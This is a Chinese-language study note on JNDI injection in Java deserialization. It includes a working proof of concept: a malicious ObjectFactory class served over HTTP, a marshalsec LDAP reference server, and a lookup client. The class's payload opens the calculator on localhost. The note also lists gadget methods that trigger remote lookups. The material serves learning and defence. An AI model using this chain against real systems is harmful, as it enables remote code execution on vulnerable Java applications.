JNDI-RMI

反序列利用的时候经常会用到jndi加载远程class，原理是什么？

什么是JNDI

JNDI到底是什么，有什么作用

什么是JNDI Injection

深入理解JNDI注入与Java反序列化漏洞利用

• rmi:// com.sun.jndi.url.rmi.rmiURLContext
• ldap:// com.sun.jndi.url.ldap.ldapURLContext
• ldaps:// com.sun.jndi.url.ldaps.ldapsURLContextFactory
• iiop:// com.sun.jndi.url.iiop.iiopURLContext
• dns:// com.sun.jndi.url.dns.dnsURLContext
• iiopname:// com.sun.jndi.url.iiopname.iiopnameURLContextFactory
• corbaname://

POC

1. 启动http server存放Exploit.class

   # file Exploit.java
   
   import java.io.IOException;
   import java.util.Hashtable;
   import javax.naming.Context;
   import javax.naming.Name;
   import javax.naming.spi.ObjectFactory;
   
   public class Exploit implements ObjectFactory {
   
       public Object getObjectInstance(Object var1, Name var2, Context var3, Hashtable<?, ?> var4) {
           Runtime.getRuntime().exec("open -a calculator");
           return null;
       }
   }

   $ javac Exploit.java
   $ python -m SimpleHTTPServer 8000

2. 启动jndi server

   java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://0.0.0.0:8000/#Exploit

3. jndi poc

   import javax.naming.Context;
   import javax.naming.InitialContext;
   import javax.naming.NamingException;
   
   public class jndiInjection {
       public static void main(String[] args) throws NamingException {
           Context ctx = new InitialContext();
           Object local_obj = ctx.lookup("ldap://127.0.0.1:1389/Exploit");
       }
   }

分析

调用链：

-> RegistryContext.decodeObject()
-> NamingManager.getObjectInstance()
-> factory.getObjectInstance()

Tips：JNDI查找远程对象时InitialContext.lookup(URL)的参数URL可以覆盖一些上下文中的属性，比如：Context.PROVIDER_URL。

通过URL下载class object
decode class
注册
调用getObjectInstance完成实力化

扩展

哪些间接调用了jndi lookup？

• JtaTransactionManager.readObject()
• JdbcRowSetImpl.execute()
• JdbcRowSetImpl.prepare()
• JdbcRowSetImpl.connect()
• InitialContext.lookup(dataSource)

疑问

jndi加载远程class文件，其中也涉及到反序列化，可以不依赖getObjectInstance，直接反序列化达到命令执行吗？

序列化

class

参考

1. JNDI到底是什么，有什么作用
2. 深入理解JNDI注入与Java反序列化漏洞利用
3. BlackHat-us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE